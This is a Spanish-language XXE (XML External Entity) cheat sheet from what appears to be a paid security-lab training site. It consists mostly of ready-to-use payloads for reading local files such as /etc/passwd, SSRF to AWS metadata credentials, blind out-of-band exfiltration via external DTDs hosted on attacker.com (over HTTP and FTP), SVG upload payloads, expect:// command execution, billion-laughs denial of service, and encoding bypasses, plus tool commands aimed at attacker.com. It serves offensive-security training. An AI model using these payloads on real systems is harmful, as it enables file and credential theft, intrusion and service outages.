Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet XXE

XML External Entity

Referencia rápida

  • Buscar XXE en: uploads de DOCX/XLSX/SVG, APIs SOAP, parsers RSS/XML, configuraciones SAML
  • Convertir Content-Type a application/xml en cualquier endpoint que acepte datos
  • Para blind XXE, usar parameter entities (%) con DTD externo para exfiltracion OOB
  • SVG es ideal para XXE porque no tiene magic bytes - bypasea validaciones de imagen
  • Si el parser es PHP, probar expect:// para RCE directo

Lectura de archivos (LFI)

LFI basico /etc/passwd

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><foo>&xxe;</foo>

PHP filter base64

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://target.com/config.php">
]><foo><result>&ac;</result></foo>

XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

CDATA wrapper para XML fileswrapper.dtd: <!ENTITY wrapper "%start;%file;%end;">

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/WEB-INF/web.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker.com/wrapper.dtd">
%dtd;]>
<data>&wrapper;</data>

SSRF via XXE

SSRF a servicio interno

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://internal-service.com/admin">
]><foo>&xxe;</foo>

AWS metadata via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]><foo>&xxe;</foo>

Blind XXE - Out-of-Band

OOB via Collaborator

<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.oastify.com">
]><stockCheck><productId>&xxe;</productId></stockCheck>

Parameter entity OOB

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR">
%xxe; ]>

Exfiltracion via DTD externoexploit.dtd contiene: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd">
%xxe;]>

FTP exfiltracionftp.dtd envia datos via FTP al servidor del atacante

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/ftp.dtd">
%remote; %send;]>
<data>4</data>

XXE via upload de archivos

SVG con XXE

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

SVG con expect:// (RCE)

<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="expect://id"></image>
</svg>

UTF-7 encoding bypassConvierte con: recode UTF8..UTF7 payload.xml

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://attacker.com+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

DoS y bypass de filtros

Billion Laughs (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol9 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]><lolz>&lol9;</lolz>

Case manipulation bypass

<!DOCTYPE foo [<!entity xxe SYSTEM "file:///etc/passwd">]>

Base64 encoding bypass

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q=">
]><foo>&xxe;</foo>

DTD chaining

<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/external.dtd">
%remote;]>

Herramientas

XXEinjector

Herramienta automatizada de XXE con multiples modos de exfiltracion

ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd --oob=http

oxml_xxe

Genera archivos DOCX/XLSX/PPTX con payloads XXE embebidos

python3 oxml_xxe.py -b http://attacker.com -f malicious.xlsx

Burp Collaborator

Servidor OOB para confirmar blind XXE via DNS/HTTP callbacks

Burp Suite > Burp Collaborator Client > Copy to clipboard

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica